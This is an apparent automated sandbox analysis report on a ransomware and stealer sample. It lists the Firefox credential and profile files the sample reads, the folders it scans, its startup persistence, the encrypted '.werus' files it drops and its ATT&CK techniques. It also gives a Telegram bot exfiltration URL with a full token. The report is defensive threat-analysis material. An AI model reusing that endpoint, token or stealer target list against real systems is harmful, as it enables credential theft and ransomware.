Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\session-state.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\7755ad51-2370-4623-9d21-15c89f2143db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835643.9a3c31ca-35e4-421e-91e1-5f7b9bd27492.event.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426840727.86be03dd-6b03-42f5-89cd-4606f43d25ad.health.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\state.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\ae04dde8-69a1-49f8-95f1-d533ed587ff6	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\NULL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\background-update	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm	Jump to behavior

Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Music	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Pictures	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\My Videos	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\aASfOObWpW.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Input Capture	1 Web Service	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	1 Input Capture	1 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Browser Session Hijacking	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	11 Data from Local System	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	12 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
aASfOObWpW.exe	56%	Virustotal		Browse
aASfOObWpW.exe	45%	ReversingLabs	Win32.Ransomware.REntS

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot7277798486:AAEyKmvjnINtyS8uzKbaNK-Qn4l4o-hjPqY/sendDocument	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org	aASfOObWpW.exe, 00000000.00000002.3897960630.0000000002631000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	aASfOObWpW.exe, 00000000.00000002.3897960630.0000000002631000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592007
Start date and time:	2025-01-15 16:42:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	aASfOObWpW.exe renamed because original name is a hash value
Original Sample Name:	e17bfe60dea579699f67bd70e7e49aba582f5ff2337ca38d78dba650edd5ba3d.exe
Detection:	MAL
Classification:	mal92.rans.phis.troj.spyw.winEXE@2/292@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 24 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:43:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini.werus

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
149.154.167.220	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse
	DESCRIPTION.exe	Get hash	malicious	DarkCloud	Browse
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse
	17369284269327933f4ce2d9485e98192cffc35d127e85bf0db77dc37ba595305760e31611471.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse
	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	17369284269327933f4ce2d9485e98192cffc35d127e85bf0db77dc37ba595305760e31611471.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	DESCRIPTION.exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	17369284269327933f4ce2d9485e98192cffc35d127e85bf0db77dc37ba595305760e31611471.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	149.154.167.220
	Company introduction.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	rDEKONT-1_15_2025__75kb__pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://telenerh-ogjf.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://telegroom-nzj.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Updater.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Updater.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Personliche Nachricht fur e4060738.pdf	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://pub-2d00d32ff6d84ef6999828eaf509b772.r2.dev/index.html#watson.becky@aidb.org	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Invoice No 1122207 pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://www.flamingoblv.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	NZZ71x6Cyz.dll	Get hash	malicious	Wannacry	Browse	149.154.167.220
	qqnal04.exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PC bitmap, Windows 3.x format, 1920 x 1080 x 32, resolution 3780 x 3780 px/m, cbSize 8294454, bits offset 54
Category:	dropped
Size (bytes):	8294454
Entropy (8bit):	1.0141878633011046
Encrypted:	false
SSDEEP:	96:s5s4B9AB+ADoD4vHZtc5EpumFkS4r5LcKU2ZwBXx/5U0OVwbm3vzwpDpcrbXmZrT:vIc5WNpij
MD5:	DA01877060A912074B5BBF96C7BEB9DF
SHA1:	D3425D844DED773672D626CC20CA342D517EF1BA
SHA-256:	85B5501FA42962DE3E83B758BC96F28A15E3FFC467CF834D72F417993A38EBB8
SHA-512:	6EC3A7B05101E0CC2415A1E271830832B7BB6DA110C248ED82D6C179C89404CC952D18C9A816876B2E66EBF7CB7EC5941C7BC286B6AE2E56136C031B5411D5A1
Malicious:	false
Reputation:	low
Preview:	BM6.~.....6...(.......8..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\key_74085fb5-dd20-4120-a9b1-4a9edcda13a9.pwd

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	5.020172805482387
Encrypted:	false
SSDEEP:	3:NBlRREd3TXErZUAz3ILGUKJRNRJDJ:7lbEd3TUrZZz4LGUKfDf
MD5:	A2D85C8D2982107EEA74FD008D60B164
SHA1:	63111E588AC12FEF3C7F6801739F9F1E538CA3A0
SHA-256:	C133DEA244532E8A34DF4B5193071907BA84B90445AFF5E060CD7462742CEAD9
SHA-512:	4B70770BCAF07C1C4401D75779C874994A5B920B12C37D06AB1EB41448D4EE2BA5A8094E2352AFD72C7DA93A035B228A40ADBF500DCC7A150CA8D0E1DC3BFC92
Malicious:	false
Reputation:	low
Preview:	11f87341-afd3-4239-9466-a0a92adb18b1-y+RsEugre3iACdi9mnxO9U1Ypt+sDmZi49YtlbjFb0s=

C:\Users\user\AppData\Roaming\.curlrc.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:X2Pn:4n
MD5:	E76E60375E6F9C8D7EA86BE62816FCB5
SHA1:	9438B4BCAC50B645FD6D37F43F8844CC70D95E65
SHA-256:	6A322A56B5C290484BC0EC34DC351B279F437B56F1D5CC3347F4DFCEF42CD15C
SHA-512:	81481F50882BC4562AA18203E69EFF8839BE80F7CFBF54CB5DA997A6B48EA0300665E0F060991338CEC85812C9BB745583906F3490622997499C216120D72AB9
Malicious:	false
Reputation:	low
Preview:	......._n.H.0.)

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	Dyalog APL component file 32-bit non-journaled non-checksummed version -50.99
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.9375
Encrypted:	false
SSDEEP:	3:aK0XRjmbe:afmbe
MD5:	1C39EE066D735B375E08B7C1D520BF31
SHA1:	A73EF189A3AC50B6D171F0C9E322BB38F58C740A
SHA-256:	1D69C414CE90ABB6219259BA8457412999F87A799273D043344824E6B6B7B90A
SHA-512:	B635A5B0F8FC22C596A936E5D919C1B47D2F780710EB0A467F662C4D73509569D824D5539024327072291A5BC96484F5AF9A548612AB70EB01A1D0C7834DDC23
Malicious:	false
Reputation:	low
Preview:	...c..{.e.k...;...y..g.`8..)..f

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	32
Entropy (8bit):	4.9375
Encrypted:	false
SSDEEP:	3:SsisKRbgctJ:SDdbtJ
MD5:	5AB399C50901374E9271C7FC2DB7CB9D
SHA1:	A78E9BDA54D6A6DD100D6207326718447EE8F34E
SHA-256:	B829AB76A5E7D39EF047B02BA6FD521065CB1D76DDD4418807B89A580CEB96D6
SHA-512:	AF77B93919CE75944C37440AD8CA08060E73E0CC72D97DF5DE85AECACEA21A7BA6B5A055B5B1F343DF6490BAB60324584ED3AF1DC3E59AD1ED4E2CF4BA884AE4
Malicious:	false
Reputation:	low
Preview:	.n...,...q..H.$.Z~...... ...dL3j

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_store.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	PGP Secret Sub-key -
Category:	dropped
Size (bytes):	10256
Entropy (8bit):	7.979290760649762
Encrypted:	false
SSDEEP:	192:bD+AQ5LH36CEjtV6U4vopSs0iokZ+IGby8ULGunXL+Begg0Cq/Ad1:bec5Vj4YJ1okZqby8sGuXLKRCq/41
MD5:	B10335D28829AB4D3C982E9308BB0145
SHA1:	EF2F81D7A1CA74E5BBAC005C5117A21FF51F6254
SHA-256:	A04F5CD7E80B4E6A90CD466AF16FD23B59912C492595ED872C8A444F764C725E
SHA-512:	A28C768A44491B385EC0E2F6299A6755161215A940187637FC057F605CF00C2313224E1EC1315C441D5E4EB964D4032919F215509C1DC1B0F471B9C55D532A49
Malicious:	false
Reputation:	low
Preview:	....onBYb."(FR.{...'.ndh.X.$b.Y..gv.y..h(.<yk.x.B"..$.k...i..M...k..Z.6.(.=5U....\|.<.p.6%......e..Y.F..[.3........6'l=.G.o..O.k.\I{#\..$#m..G>...+".<.6-\|X,Z#.g{0..........Y.b>.m.H...]O.O....8&"u.K.>...4..3S>Hh..(........;.T..5o.v.....o."...G..Ks...2.w..2J..5....r.w.,P.K.f...8...sa..;m....D.i)H.G..$b....z%..!.7'v......Zk...Bh...FX..g.-}...n..x...../.u..J\....>v\.9D{.....l.;.......e..:.....%d......c..._....3.3...<n.......W.._+.:....]p.4..]...}..c.A..R].....2.#.>ZU..rhpY.N........e.^P....y..x..t..G.z...(n..~.^...8`..M!.........:Y{....\GG).........Ny&.='..5.N.m4eO..c....?0I...f..lb.A...J..p...~.M..y.2n..z........T....]..;..:.e.E.\|...B..a..k ^:...-x.......T..D....<I$...DRY.K..hGPs.>......<....7..yT..@W..?..S...:r..N(....1....A...x.A..0D...$.Xz.g....1..`w.\|..h.:.....:V.3U.....K.......)U....w.n.<C.T..y\|.~.mT..S...-/X...........e..:.........N{.....>.=..Z...<4.........E......xW~W..K...1&mn}.A........)...Y......\==-.?.I...Jx.....W.t.....g..,O.a.^T...

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storei.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	24160
Entropy (8bit):	7.992110730209908
Encrypted:	true
SSDEEP:	384:RbxsVUkD623snbPvwg1X4WpzlVhEbrP7TI5cEtjgDM5u4DHETGmSkhEE91ElQNpG:YpaXwgnzlVOX4cE9gDJxTGXkaE9iso3x
MD5:	2B7728A433010ADCAAF1476C8EDAD80C
SHA1:	13357BB83C76EDDF71AFE984FC52CBD058B6F0A5
SHA-256:	F68543F9E2017DC6C0FAC4AFBD8ABC741D144F1A6003478706B3458BD6105E52
SHA-512:	502D6A373FB40DC2E41AF2A18B651B9B3527056724776468A09CB7F91802C995B94BDCBE0C1CBF115199192B657F734BFA5A59EE0BA9BA66B978DB0F11AFCC37
Malicious:	true
Reputation:	low
Preview:	.E..si..^.j...w..}/m..fM.`.rv.]D.W....B...4W.Zc..Iy.]}.++..S.'..&R.v....?.g.:.hT.y:.........\`V.Q...."...:..1.&.BY.V........m..9.'[."...............k.)_.....\|<.v..h.A..uog\|...9....E...@...i.....mM..IFU.QI.{....hO..;.p..Y.....z........&..I..LV...'.s..\|.6"k/...}6.z.V&{t...+G...G..A...a...s.$"GyJ.N.I\.N...U.Q..1:c...@....e.hP!..\.z...w.E!,..inH....q.\|M...WG..1..V.v.oY..+C.....7....t$...q..R.n.@....V....7S..C....1.../!....Q.. ]t.7.?R.f.S...&Y$w...x.<8..$...C.^s....6N..w.H.>L]\.~..(.n..c......l.9%u.&.G.kx..,.R...Z......5.n@C......p..?ul].....<...6]2....TX.6 .]...3..>U.....g..S2.4.s...=.....W.ka.0.-..^..T{.BY..8 V..._..4..]...vU..<...<C.NhS.:.M'.z.....E.......+m>...\...ZaX.....$..xg..U4.....*...C..6.b8.....~.JhQ...j.D......\|I.O........&.JS...M01...V.i.p0..M....h8..X.....R.$....U.....AM.....k~$.........u.\a......^......8.8.q.G....+U..'...C............X.L...J.a.hn....D....)..6.\].]:....b.....7.......o..L....^.W.pp,..\|Q..l.4B......\|.t..SY.f.......</

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\ES_session_storek.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	272
Entropy (8bit):	7.232893988267934
Encrypted:	false
SSDEEP:	6:1Ra1S+2KREMmnM6D5OdrW/laAVoy5v0zqTFlUHIKjoju8PGh:1svSM1/qtaAVoOucjq
MD5:	6AE1880B96B48646FD4262C0780D0953
SHA1:	7B3E929ADBACA7471D094BD91E55240ECECD4539
SHA-256:	7ED4EB946725DFE186D73F6CFB31DB5EE2EEB5E71BFF4530EAAC4FA3CCA1FBFE
SHA-512:	0E67325AFED8AC9EE34C688F0E689D335D923461F6B66C81A1BA77C4A87ECD51B7C4038B85851F5A2A75083B84AB4EA693C8A3A9557508080E4DFBF739C83BD6
Malicious:	false
Preview:	,.......D0.^...l.?P.....{.o5...!U.,G`..t.%...+8.:/.i.....>.Z.....&..q..+...+d..V.4.C.j...\|.N..I..4.F..y...{"....VD.Z._..M..+..x>1r.N...........\.R6....r..xQV.o.j@..:5.U.F.u>JW....j..b..8..>7. .q;zc...0..#+.o......;.=.L..L..MI.75bM.P^n6 ..0....\|Q.-SZ{.#9

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	5.3349625007211605
Encrypted:	false
SSDEEP:	3:12HvJOQQ4CMrHpC9LOjpqJv7J:12PfCMrhjEJjJ
MD5:	10BE196539851BCEE797F09D2F02B851
SHA1:	4E9854F55D1FC8033011E4672E2D84C30FB85B6C
SHA-256:	00AE6E02275656E06939E437E8B0F40504BA0410393A0F2A82C522B5F87A5ECC
SHA-512:	5FD626752D628A73830AA5DD8B332B72C6243C09673C0E9B65CA469331A32874527F1161DCB0D229D714B9A581A74C6A9B699D204FF146A7B5D17578E3F87FCC
Malicious:	false
Preview:	..{U...?......kX.5<.')...S......eT....S.a....'/w

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	5.875
Encrypted:	false
SSDEEP:	3:12HvJOTqYM/pWy17nYTfHyK:12PcqYgpWyRYrSK
MD5:	9C80857BD4902BE4D470D584916065C4
SHA1:	93493C213612CFA238CA25F75BA316C71F55A447
SHA-256:	4997A2D181C2AE8662D95B7E0664734C9D4F44B8E4276CBC759CAD3BE32530BB
